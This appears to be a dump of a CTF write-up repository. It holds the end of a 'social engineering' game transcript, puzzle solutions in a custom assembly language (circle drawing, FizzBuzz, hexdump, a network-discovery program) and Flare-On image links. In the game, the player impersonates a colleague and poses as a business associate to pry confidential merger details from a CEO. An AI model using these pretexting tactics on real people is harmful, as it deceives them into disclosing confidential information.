chose: A) Pretend to be Lisa and ask for more details about the project. 49 | 50 | You decide to take on the persona of Lisa and engage in the chat thread, asking for more details about the project. You carefully craft your messages to mimic her tone and style of communication, making it difficult for John to suspect any foul play. 51 | 52 | Level completed! 53 | 54 | You're making excellent progress! Here's the third level scenario: 55 | 56 | Level 3: 57 | You have identified a senior manager named Michael as your target. You discover that Michael is an avid golfer and frequently visits a local golf course. You manage to bump into him at the golf course clubhouse. What do you do? 58 | 59 | A) Strike up a conversation about golf and ask if he has any interesting golf-related stories. 60 | B) Compliment his golfing skills and ask him for some tips to improve your own game. 61 | C) Mention that you work for a golf accessories company and offer him a special discount on their products. 62 | D) Stay silent and observe his interactions with others to gather information. 63 | Message: A 64 | Generating response... 65 | 66 | You chose: A) Strike up a conversation about golf and ask if he has any interesting golf-related stories. 67 | 68 | You initiate a friendly conversation with Michael about golf, showing genuine interest in his experiences on the golf course. As he shares his stories and anecdotes, you carefully listen for any hints or references to sensitive information related to the company. 69 | 70 | Level completed! 71 | 72 | You're getting closer to your goal! Here's the fourth and final level scenario: 73 | 74 | Level 4: 75 | You have discovered that the CEO of the company, David, often takes lunch breaks at a nearby cafe. You decide to strategically position yourself at a nearby table to eavesdrop on his conversations. After a while, you overhear him talking on the phone about a confidential upcoming merger with another company. What do you do? 76 | 77 | A) Approach David after he hangs up and pretend to be a business associate from the other company, seeking more information about the merger. 78 | B) Quickly snap a photo of David with your phone as evidence of the conversation. 79 | C) Record the conversation discreetly using a voice recording app on your phone. 80 | D) Ignore the conversation and continue observing David's interactions for more valuable information. 81 | Message: A 82 | Generating response... 83 | 84 | You chose: A) Approach David after he hangs up and pretend to be a business associate from the other company, seeking more information about the merger. 85 | 86 | After David ends his phone call, you approach him confidently and introduce yourself as a business associate from the other company involved in the merger. You engage him in a conversation, subtly requesting more details about the merger while maintaining the illusion of being part of the process. 87 | 88 | Level completed! 89 | 90 | Congratulations! You successfully completed all four levels of the Intelligence Hacker Simulator: Social Engineering game! You did it! Here is the key: FLAG{....} 91 | 92 | Thank you for playing! If you want to play again or have any other questions, feel free to ask. -------------------------------------------------------------------------------- /etjenestenjul23/mov16/circle.mos: -------------------------------------------------------------------------------- 1 | % STD RAS:0 2 | ; Write a program that fills a circle with a given radius 3 | ; using the raster module. 4 | ; 5 | ; Use color 12 for pixels inside the circle and color 0 for 6 | ; pixels outside the circle. 7 | ; 8 | ; Read the radius from the input module. You can assume that 9 | ; the first word in the input stream is the radius and that 10 | ; the radius is between 0 and 127. The center of the circle 11 | ; must in the position 128,128. A circle with radius 0 is a 12 | ; single dot. 13 | ; 14 | ; The input module (SIM) must be located in slot 13 and the 15 | ; raster module (RAS) in slot 0. The other slots can be 16 | ; configured as you like. 17 | 18 | ; for x in range(256) 19 | ; for y in range(256) 20 | ; A = (x-128)^2 21 | ; B = (y-128)^2 22 | ; C^2 = A + B 23 | ; C = sqrt(C^2) 24 | ; if C > RADIUS: white 25 | ; else: 12 26 | 27 | RADIUS <- FIF <- IDA 28 | !RADIUS ? NIP <- #zero 29 | RAP <- #0 30 | loop: 31 | ; Calculate (x-128)^2 32 | FPX <- FIF <- #128 33 | FPY <- FIF <- RAX 34 | X <- FDF 35 | FPX <- X 36 | FPY <- X 37 | X <- FPR 38 | 39 | ; Calculate (y-128)^2 40 | FPX <- FIF <- #128 41 | FPY <- FIF <- RAY 42 | Y <- FDF 43 | FPX <- Y 44 | FPY <- Y 45 | Y <- FPR 46 | 47 | ; sqrt(x^2 + y^2) 48 | FPX <- X 49 | FPY <- Y 50 | FPY <- FSR <- FSM 51 | 52 | FPX <- RADIUS 53 | FGT ? COLOR <- #12 54 | FLT ? COLOR <- #0 55 | RAI <- COLOR 56 | 57 | RAP ? NIP <- #loop 58 | RAD <- #0 59 | NIP <- #HLT 60 | 61 | zero: 62 | RAX <- #128 63 | RAY <- #128 64 | RAW <- #12 65 | RAD <- #0 66 | NIP <- #HLT 67 | 68 | 69 | RADIUS: 0 70 | DISTANCE: 0 71 | COLOR: 0 72 | X: 0.0 73 | Y: 0.0 -------------------------------------------------------------------------------- /etjenestenjul23/mov16/creative.mos: -------------------------------------------------------------------------------- 1 | % STD RAS:0 2 | ;It's time to get creative! 3 | ; 4 | ;Write a program that draws an image using the raster module. 5 | ;If the image is accepted, you will be rewarded. 6 | ; 7 | ;The raster module (RAS) must be located in slot 0. 8 | ; 9 | ;The config "% STD RAS:0" works fine. 10 | 11 | RADIUS <- FIF <- #127 12 | !RADIUS ? NIP <- #zero 13 | RAP <- #0 14 | loop: 15 | ; Calculate (x-128)^2 16 | FPX <- FIF <- #128 17 | FPY <- FIF <- RAX 18 | X <- FDF 19 | FPX <- X 20 | FPY <- X 21 | X <- FPR 22 | 23 | ; Calculate (y-128)^2 24 | FPX <- FIF <- #128 25 | FPY <- FIF <- RAY 26 | Y <- FDF 27 | FPX <- Y 28 | FPY <- Y 29 | Y <- FPR 30 | 31 | ; sqrt(x^2 + y^2) 32 | FPX <- X 33 | FPY <- Y 34 | FPY <- FSR <- FSM 35 | 36 | FPX <- RADIUS 37 | FGT ? COLOR <- DEFAULT 38 | FLT ? COLOR <- #0 39 | RAI <- COLOR 40 | 41 | DEFAULT <- INC <- DEFAULT 42 | ALX <- DEFAULT 43 | ALY <- #16 44 | EQU ? DEFAULT <- #0 45 | RAP ? NIP <- #loop 46 | RAD <- #0 47 | NIP <- #HLT 48 | 49 | zero: 50 | RAX <- #128 51 | RAY <- #128 52 | RAW <- #12 53 | RAD <- #0 54 | NIP <- #HLT 55 | 56 | DEFAULT: 0 57 | RADIUS: 0 58 | DISTANCE: 0 59 | COLOR: 0 60 | X: 0.0 61 | Y: 0.0 -------------------------------------------------------------------------------- /etjenestenjul23/mov16/entangulator.mos: -------------------------------------------------------------------------------- 1 | % STD BPM:0 2 | 3 | ; 1. Pick unique ID for each node 4 | ; 2. Send ID + port number through all pipes 5 | ; 3. Read from each pipe to get all INPUT values 6 | 7 | ; Send 0 to output 0, 1 to output 1 etc. 8 | BPI <- #0 9 | loop_send_initial: 10 | BPW <- BPI 11 | BPI <- INC <- BPI 12 | BPI ? NIP <- #loop_send_initial 13 | 14 | 15 | ; Receive on all 16 | ptr <- #name 17 | BPI <- #0 18 | loop_recv_initial: 19 | !BPS ? NIP <- #loop_recv_initial 20 | ALX <- BPR 21 | ALX <- LSH <- LSH <- LSH <- LSH <- LSH <- LSH <- LSH <- LSH <- ALX 22 | BPI <- INC <- BPI 23 | loop_recv_second: 24 | !BPS ? NIP <- #loop_recv_second 25 | ALY <- BPR 26 | *ptr <- SUM 27 | ptr <- INC <- ptr 28 | BPI <- INC <- BPI 29 | BPI ? NIP <- #loop_recv_initial 30 | 31 | 32 | ; Print own ID and newline 33 | ALY <- #'A' 34 | ptr <- #name 35 | PRN <- #'I' 36 | PRN <- #'D' 37 | PRN <- #' ' 38 | counter <- namelen 39 | write_id_loop: 40 | ; Print first nibble 41 | ALX <- *ptr 42 | ALY <- #$ff 43 | ALX <- AND 44 | ALY <- #'A' 45 | PRN <- SUM 46 | 47 | ; Print second nibble 48 | ALX <- *ptr 49 | ALX <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- ALX 50 | PRN <- SUM 51 | 52 | ; loop 53 | ptr <- INC <- ptr 54 | counter <- DEC <- counter 55 | counter ? NIP <- #write_id_loop 56 | PRN <- #10 57 | 58 | ; Everyone send their name on every channel (buffer is 16 words, so it should fit) 59 | BPI <- #0 60 | write_own_name_loop_outer: 61 | ptr <- #name 62 | counter <- namelen 63 | write_own_name_loop_inner: 64 | BPW <- *ptr 65 | ptr <- INC <- ptr 66 | counter <- DEC <- counter 67 | counter ? NIP <- #write_own_name_loop_inner 68 | BPW <- BPI ; Write port number 69 | BPI <- INC <- BPI 70 | BPI ? NIP <- #write_own_name_loop_outer 71 | 72 | ; Loop over every channel and get the remote name 73 | ; From our own name, we already know the remote port id 74 | PRN <- #'I' 75 | PRN <- #'N' 76 | PRN <- #'P' 77 | PRN <- #'U' 78 | PRN <- #'T' 79 | PRN <- #' ' 80 | PRN <- #' ' 81 | 82 | BPI <- #0 83 | resolve_input_outer: 84 | counter <- namelen 85 | resolve_input_inner: 86 | !BPS ? NIP <- #resolve_input_inner 87 | ; Print first nibble 88 | tmp <- BPR 89 | ALX <- tmp 90 | ALY <- #$ff 91 | ALX <- AND 92 | ALY <- #'A' 93 | PRN <- SUM 94 | 95 | ; Print second nibble 96 | ALX <- tmp 97 | ALX <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- ALX 98 | PRN <- SUM 99 | 100 | counter <- DEC <- counter 101 | counter ? NIP <- #resolve_input_inner 102 | 103 | ALX <- BPR 104 | ALY <- #hexchars 105 | PRN <- #':' 106 | PRN <- *SUM 107 | PRN <- #' ' 108 | 109 | BPI <- INC <- BPI 110 | BPI ? NIP <- #resolve_input_outer 111 | PRN <- #10 112 | 113 | 114 | BPI <- #0 115 | flood_initial_outer: 116 | ptr <- #name 117 | counter <- namelen ; Only send 6 / 8 words of name 118 | flood_initial_inner_1: 119 | BPW <- *ptr 120 | ptr <- INC <- ptr 121 | counter <- DEC <- counter 122 | counter ? NIP <- #flood_initial_inner_1 123 | BPW <- BPI ; outgoing port 124 | 125 | counter <- namelen 126 | flood_initial_inner_2: 127 | BPW <- #0 ; pad 1..namelen 128 | counter <- DEC <- counter 129 | counter ? NIP <- #flood_initial_inner_2 130 | BPW <- #0 ; port 131 | 132 | BPI <- INC <- BPI 133 | BPI ? NIP <- #flood_initial_outer 134 | 135 | 136 | 137 | recv_and_flood_loop: 138 | 139 | BPI <- #0 140 | ; Check if we are done 141 | ;ALX <- resolved_outgoing 142 | ;ALY <- #65535 143 | ;EQU ? NIP <- #finished 144 | 145 | recv_loop: 146 | NIP <- #read_and_store_input 147 | BPI <- INC <- BPI 148 | BPI ? NIP <- #recv_loop 149 | 150 | flood_loop: 151 | NIP <- #replay_flood 152 | BPI <- INC <- BPI 153 | BPI ? NIP <- #flood_loop 154 | 155 | debugcounter <- DEC <- debugcounter 156 | ;DBG <- resolved_outgoing 157 | !debugcounter ? NIP <- #finished 158 | NIP <- #recv_and_flood_loop 159 | 160 | 161 | replay_flood: 162 | STT <- PIP 163 | 164 | MUX <- BPI 165 | MUY <- doublexfixlen 166 | ALX <- #PDUs 167 | ALY <- UPL 168 | p2 <- SUM 169 | counter <- doublexfixlen 170 | tmp <- BPI 171 | ALX <- debugcounter 172 | ALY <- BPI 173 | BPI <- SUM 174 | replay_flood_loop: 175 | BPW <- *p2 176 | BPO ? NIP <- #replay_flood_loop 177 | p2 <- INC <- p2 178 | counter <- DEC <- counter 179 | counter ? NIP <- #replay_flood_loop 180 | 181 | BPI <- tmp 182 | NIP <- STT 183 | 184 | ; Assume there is something to read 185 | read_and_store_input: 186 | STT <- PIP 187 | ; Read 7 bytes (prefix name + port) into buf7_0 188 | counter <- xfixlen 189 | ptr <- #buf7_0 190 | 191 | read_and_store_inner_1: 192 | !BPS ? NIP <- #read_and_store_inner_1 193 | *ptr <- BPR 194 | ptr <- INC <- ptr 195 | counter <- DEC <- counter 196 | counter ? NIP <- #read_and_store_inner_1 197 | 198 | ; Read 7 bytes (suffix name + port) into buf7_1 199 | counter <- xfixlen 200 | ptr <- #buf7_1 201 | read_and_store_inner_2: 202 | !BPS ? NIP <- #read_and_store_inner_2 203 | *ptr <- BPR 204 | ptr <- INC <- ptr 205 | counter <- DEC <- counter 206 | counter ? NIP <- #read_and_store_inner_2 207 | 208 | 209 | ; Now buf7_0 contains prefix and buf7_1 contains suffix 210 | 211 | ; Compare prefix with our own name 212 | counter <- namelen 213 | p1 <- #name 214 | p2 <- #buf7_0 215 | NIP <- #memory_compare 216 | prefix_equal <- RES 217 | 218 | ; Compare suffix with zeros, and overwrite if equal 219 | counter <- namelen 220 | p1 <- #zerobuf 221 | p2 <- #buf7_1 222 | NIP <- #memory_compare 223 | !RES ? NIP <- #skip_overwrite_name 224 | 225 | ; Replace suffix with our ID + incoming port 226 | counter <- namelen 227 | p1 <- #buf7_1 228 | p2 <- #name 229 | overwrite_name_inner: 230 | *p1 <- *p2 231 | p1 <- INC <- p1 232 | p2 <- INC <- p2 233 | counter <- DEC <- counter 234 | counter ? NIP <- #overwrite_name_inner 235 | *p1 <- BPI 236 | 237 | 238 | skip_overwrite_name: 239 | prefix_equal ? NIP <- #do_resolve 240 | 241 | ; Copy PDU from (buf7_0+buf7_1) into PDUs[14*BPI] 242 | MUX <- BPI 243 | MUY <- doublexfixlen 244 | ALX <- UPL 245 | ALY <- #PDUs 246 | p2 <- SUM 247 | p1 <- #buf7_0 248 | counter <- xfixlen 249 | replay_loop_1: 250 | *p2 <- *p1 251 | p1 <- INC <- p1 252 | p2 <- INC <- p2 253 | 254 | counter <- DEC <- counter 255 | counter ? NIP <- #replay_loop_1 256 | 257 | p1 <- #buf7_1 258 | counter <- xfixlen 259 | replay_loop_2: 260 | *p2 <- *p1 261 | p1 <- INC <- p1 262 | p2 <- INC <- p2 263 | 264 | counter <- DEC <- counter 265 | counter ? NIP <- #replay_loop_2 266 | 267 | NIP <- STT 268 | 269 | ; This PDU is for us. Extract the info and store it. 270 | ; buf7_0 contains the first transmitter (output) and 271 | ; buf7_1 contains the first receiver (input). 272 | ; Returns to `ret` 273 | do_resolve: 274 | ; Calculate offset into portarray (buf7_0[6] * 7) 275 | STT <- PIP 276 | ALX <- #buf7_0 277 | ALY <- namelen 278 | tmp <- *SUM 279 | 280 | MUX <- tmp 281 | MUY <- xfixlen 282 | ALX <- #portarray 283 | ALY <- UPL 284 | ptr <- SUM 285 | 286 | ; Calculate new resolve value for outgoing 287 | ; resolved_outgoing = (resolved_outgoing ORR (ALY << buf7_1[6])) 288 | ALX <- resolved_outgoing 289 | ALY <- #1 290 | counter <- tmp 291 | !counter ? NIP <- #do_resolve_skip_2 292 | do_resolve_inner_2: 293 | ALY <- LSH <- ALY 294 | counter <- DEC <- counter 295 | counter ? NIP <- #do_resolve_inner_2 296 | do_resolve_skip_2: 297 | AND ? NIP <- STT; Skip if already resolved 298 | resolved_outgoing <- ORR 299 | 300 | ; Write into from buf7_1 into portarray, converting port to hex 301 | p1 <- ptr 302 | p2 <- #buf7_1 303 | counter <- namelen 304 | do_resolve_write: 305 | *p1 <- *p2 306 | p1 <- INC <- p1 307 | p2 <- INC <- p2 308 | counter <- DEC <- counter 309 | counter ? NIP <- #do_resolve_write 310 | 311 | ALX <- #hexchars 312 | ALY <- *p2 313 | *p1 <- *SUM 314 | 315 | NIP <- STT 316 | 317 | ; ALX contains what to resolve 318 | is_resolved: 319 | STT <- PIP 320 | ALY <- #1 321 | counter2 <- BPI 322 | !counter2 ? NIP <- #is_resolved_skip 323 | is_resolved_inner: 324 | ALY <- LSH <- ALY 325 | counter2 <- DEC <- counter2 326 | counter2 ? NIP <- #is_resolved_inner 327 | is_resolved_skip: 328 | ALX <- AND 329 | RES <- #0 330 | ALX ? RES <- #1 331 | NIP <- STT 332 | 333 | ; Compares p1 and p2 for bytes, sets RES=1 if equal 334 | memory_compare: 335 | STT <- PIP 336 | equal <- #1 337 | compare_inner: 338 | ALX <- *p1 339 | ALY <- *p2 340 | DIF ? equal <- #0 341 | counter <- DEC <- counter 342 | p1 <- INC <- p1 343 | p2 <- INC <- p2 344 | counter ? NIP <- #compare_inner 345 | RES <- equal 346 | NIP <- STT 347 | 348 | finished: 349 | PRN <- #'O' 350 | PRN <- #'U' 351 | PRN <- #'T' 352 | PRN <- #'P' 353 | PRN <- #'U' 354 | PRN <- #'T' 355 | PRN <- #' ' 356 | counter <- #16 357 | ptr <- #portarray 358 | finished_outer: 359 | counter2 <- namelen 360 | finished_inner: 361 | ALX <- *ptr 362 | ALY <- #$ff 363 | ALX <- AND 364 | ALY <- #'A' 365 | PRN <- SUM 366 | ALX <- *ptr 367 | ALX <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- RSH <- ALX 368 | PRN <- SUM 369 | 370 | ptr <- INC <- ptr 371 | counter2 <- DEC <- counter2 372 | counter2 ? NIP <- #finished_inner 373 | 374 | PRN <- #':' 375 | 376 | PRN <- *ptr 377 | PRN <- #' ' 378 | ptr <- INC <- ptr 379 | counter <- DEC <- counter 380 | counter ? NIP <- #finished_outer 381 | NIP <- #HLT 382 | 383 | namelen: 3 384 | xfixlen: 4 385 | doublexfixlen: 8 386 | 387 | debugcounter: 321 388 | ptr: 0 389 | name: "AAAAAAAA",0 390 | hexchars: "0123456789ABCDEF",0 391 | counter: 0 392 | counter2: 0 393 | tmp: 0 394 | equal:0 395 | prefix_equal:0 396 | buf7_0: 0,0,0,0,0,0,0 397 | buf7_1: 0,0,0,0,0,0,0 398 | zerobuf: 0,0,0,0,0,0 399 | p1: 0 400 | p2: 0 401 | resolved_incoming: 0 ; bitfield 402 | resolved_outgoing: 0 ; bitfield 403 | 404 | 405 | 406 | ; 16 * 14 but 256 for safety 407 | PDUs: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 408 | 409 | ; (6+1) * 16 with 0x00 = not resolved and "[0-F]" resolved. Must be last 410 | portarray: 0,0,0,0,0,0, 0, 411 | 0,0,0,0,0,0, 0, 412 | 0,0,0,0,0,0, 0, 413 | 0,0,0,0,0,0, 0, 414 | 0,0,0,0,0,0, 0, 415 | 0,0,0,0,0,0, 0, 416 | 0,0,0,0,0,0, 0, 417 | 0,0,0,0,0,0, 0, 418 | 0,0,0,0,0,0, 0, 419 | 0,0,0,0,0,0, 0, 420 | 0,0,0,0,0,0, 0, 421 | 0,0,0,0,0,0, 0, 422 | 0,0,0,0,0,0, 0, 423 | 0,0,0,0,0,0, 0, 424 | 0,0,0,0,0,0, 0, 425 | 0,0,0,0,0,0, 0, -------------------------------------------------------------------------------- /etjenestenjul23/mov16/fizzbuzz.mos: -------------------------------------------------------------------------------- 1 | % MIN 2 | ; Write a FizzBuzz program. 3 | ; 4 | ; The program must write the numbers 1 to 10000 to the printer 5 | ; with one number per line. If the number is divisible by 3, 6 | ; the print the string "Fizz" instead of the number and if the 7 | ; number is divisible by 5, print the string "Buzz instead. If 8 | ; the number is divisible by both 3 and 5, print the string 9 | ; "FizzBuzz". 10 | ; 11 | ; The configuration must be the minimal configuration (just 12 | ; the MPU and the printer). No other modules are allowed. 13 | ; 14 | 15 | 16 | ; Every 3rd 1 position print "Fizz", every 5th "Buzz" and every 15th "FizzBuzz" 17 | 18 | ; Count downwards to use conditonals 19 | loop: 20 | NIP <- #print_number 21 | left_to_print_1s <- DEC <- left_to_print_1s 22 | cur_1s_ascii <- INC <- cur_1s_ascii 23 | !left_to_print_1s ? NIP <- #do_10 24 | NIP <- #loop 25 | 26 | print_number: 27 | STT <- PIP ; In case it is needed by fizz_buzz_printer 28 | fizz_counter <- DEC <- fizz_counter 29 | buzz_counter <- DEC <- buzz_counter 30 | !fizz_counter ? PIP <- #fizz 31 | !buzz_counter ? PIP <- #buzz 32 | 33 | always_print_1000s ? PRN <- cur_1000s_ascii 34 | always_print_100s ? PRN <- cur_100s_ascii 35 | always_print_10s ? PRN <- cur_10s_ascii 36 | PRN <- cur_1s_ascii 37 | PRN <- #10 ; newline 38 | NIP <- STT 39 | 40 | ; Reset 1s to "0", decrease 10 counter and increase 10 ascii 41 | do_10: 42 | STT <- PIP 43 | cur_1s_ascii <- #48 44 | left_to_print_1s <- #10 45 | always_print_10s <- #1 46 | left_to_print_10s <- DEC <-left_to_print_10s 47 | cur_10s_ascii <- INC <- cur_10s_ascii 48 | !left_to_print_10s ? NIP <- #do_100 49 | NIP <- STT 50 | 51 | ; Reset 10s to "0", decrease 100 counter and increase 100 ascii 52 | do_100: 53 | STT <- PIP 54 | cur_10s_ascii <- #48 55 | left_to_print_10s <- #10 56 | always_print_100s <- #1 57 | left_to_print_100s <- DEC <-left_to_print_100s 58 | cur_100s_ascii <- INC <- cur_100s_ascii 59 | !left_to_print_100s ? NIP <- #do_1000 60 | NIP <- STT 61 | 62 | ; Reset 100s to "0", decrease 1000 counter and increase 1000 ascii. If none left, HALT 63 | do_1000: 64 | STT <- PIP 65 | cur_100s_ascii <- #48 66 | left_to_print_100s <- #10 67 | always_print_1000s <- #1 68 | left_to_print_1000s <- DEC <-left_to_print_1000s 69 | cur_1000s_ascii <- INC <- cur_1000s_ascii 70 | !left_to_print_1000s ? STT <- #HLT 71 | !left_to_print_1000s ? STT <- #buzz 72 | NIP <- STT 73 | 74 | fizz: 75 | fizz_counter <- #3 76 | PRN <- #'F' 77 | PRN <- #'i' 78 | PRN <- #'z' 79 | PRN <- #'z' 80 | !buzz_counter ? PIP <- #buzz 81 | PRN <- #10 82 | NIP <- STT 83 | 84 | buzz: 85 | buzz_counter <- #5 86 | PRN <- #'B' 87 | PRN <- #'u' 88 | PRN <- #'z' 89 | PRN <- #'z' 90 | PRN <- #10 91 | NIP <- STT 92 | 93 | cur_1s_ascii: 49 94 | cur_10s_ascii: 48 95 | cur_100s_ascii: 48 96 | cur_1000s_ascii: 48 97 | 98 | left_to_print_1s: 9 99 | left_to_print_10s: 10 100 | left_to_print_100s: 10 101 | left_to_print_1000s: 10 102 | 103 | always_print_10s: 0 104 | always_print_100s: 0 105 | always_print_1000s: 0 106 | 107 | fizz_counter: 3 108 | buzz_counter: 5 -------------------------------------------------------------------------------- /etjenestenjul23/mov16/hexdump.mos: -------------------------------------------------------------------------------- 1 | % STD 2 | ;Write a hexdump program. 3 | ; 4 | ;The output of the data must be a hexdump of the data from 5 | ;the input module. Print each 16-bit word as a 4 digit hex 6 | ;number (uppercase), with 16 words on each line. Separate the 7 | ;hex numbers with a space. There must not be any spaces at 8 | ;the end of a line. If the input is empty the output must 9 | ;be empty. 10 | ; 11 | ;The standard machine configuration is used. 12 | ; 13 | ;Example output: 14 | ; 15 | ;8F66 A6BC 90CE 3633 6A69 CFD1 BD08 BD68 6E4C 5AB6 B51D A1C7 81E3 E896 6FE6 1031 16 | ;5C69 E1EA F813 E769 AB2C 7803 D64C A044 162D 62FA 311E 5C15 DE96 3E31 7BA5 A21D 17 | ;FCDA 1702 CB9D 633C A900 81BF 19A1 3D69 B4A5 59B5 4766 0B8B 4A18 C5BD CEFF D7BB 18 | ;37FD 2998 A89D 7128 6344 68EB 5921 2750 427E 467F 3F9F 81DF FF81 2FD3 BA90 F92F 19 | ;BBAB 9C16 AF0F 20 | 21 | printed_counter <- #0 22 | 23 | loop: 24 | !ICO ? NIP <- #done 25 | empty_input <- #0 26 | 27 | ; print space if 1 < round < 16 28 | NIP <- #space 29 | 30 | RES <- IDA 31 | NIP <- #log_hex4 32 | printed_counter <- INC <- printed_counter 33 | 34 | ; Print newline if wrap 35 | ALX <- printed_counter 36 | ALY <- #16 37 | EQU ? NIP <- #newline 38 | 39 | NIP <- #loop 40 | 41 | space: 42 | ALX <- printed_counter 43 | ALY <- #1 44 | ULT ? PIP <- NIP 45 | ALY <- #16 46 | EQU ? PIP <- NIP 47 | PRN <- #32 48 | PIP <- NIP 49 | 50 | newline: 51 | PRN <- #10 52 | printed_counter <- #0 53 | NIP <- PIP 54 | 55 | log_hex4: 56 | STT <- PIP 57 | 58 | STT <- #4 59 | NIP <- #log_hex_loop 60 | 61 | log_hex_loop: 62 | ;; Put the next digit in the lower 4 bits 63 | RES <- LRO <- LRO <- LRO <- LRO <- RES 64 | 65 | ;; Get the lower 4 bits and convert to a hexadecimal character 66 | ;; using hex_table 67 | ALX <- RES 68 | ALY <- #15 69 | ALX <- AND 70 | ALY <- #hex_table 71 | 72 | ;; Print the digit 73 | PRN <- *SUM 74 | 75 | ;; Decrement the loop counter and stop when zero 76 | ST0 <- DEC <- ST0 77 | ST0 ? NIP <- #log_hex_loop 78 | 79 | ;; Remove the loop counter from the stack 80 | RES <- STT 81 | 82 | ;; Return 83 | NIP <- STT 84 | 85 | 86 | done: 87 | empty_input ? NIP <- #HLT 88 | ALX <- printed_counter 89 | printed_counter ? PRN <- #10 90 | NIP <- #HLT 91 | 92 | hex_table: "0123456789ABCDEF" 93 | printed_counter: 0 94 | empty_input: 1 95 | -------------------------------------------------------------------------------- /flareon7/decrypted.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/decrypted.jpg -------------------------------------------------------------------------------- /flareon7/image-20201004222321450.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201004222321450.png -------------------------------------------------------------------------------- /flareon7/image-20201004225910649.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201004225910649.png -------------------------------------------------------------------------------- /flareon7/image-20201005001726140.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005001726140.png -------------------------------------------------------------------------------- /flareon7/image-20201005002146625.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005002146625.png -------------------------------------------------------------------------------- /flareon7/image-20201005010415194.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005010415194.png -------------------------------------------------------------------------------- /flareon7/image-20201005112252748.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005112252748.png -------------------------------------------------------------------------------- /flareon7/image-20201005121205707.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005121205707.png -------------------------------------------------------------------------------- /flareon7/image-20201005125246618.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005125246618.png -------------------------------------------------------------------------------- /flareon7/image-20201005125636701.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005125636701.png -------------------------------------------------------------------------------- /flareon7/image-20201005125815315.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005125815315.png -------------------------------------------------------------------------------- /flareon7/image-20201005231203352.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005231203352.png -------------------------------------------------------------------------------- /flareon7/image-20201005235119988.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201005235119988.png -------------------------------------------------------------------------------- /flareon7/image-20201006204951170.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/image-20201006204951170.png -------------------------------------------------------------------------------- /flareon7/wabbit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon7/wabbit.png -------------------------------------------------------------------------------- /flareon8/04-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/04-flag.png -------------------------------------------------------------------------------- /flareon8/06-kitty.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/06-kitty.png -------------------------------------------------------------------------------- /flareon8/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/flag.png -------------------------------------------------------------------------------- /flareon8/image-20210922000902667.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/flareon8/image-20210922000902667.png -------------------------------------------------------------------------------- 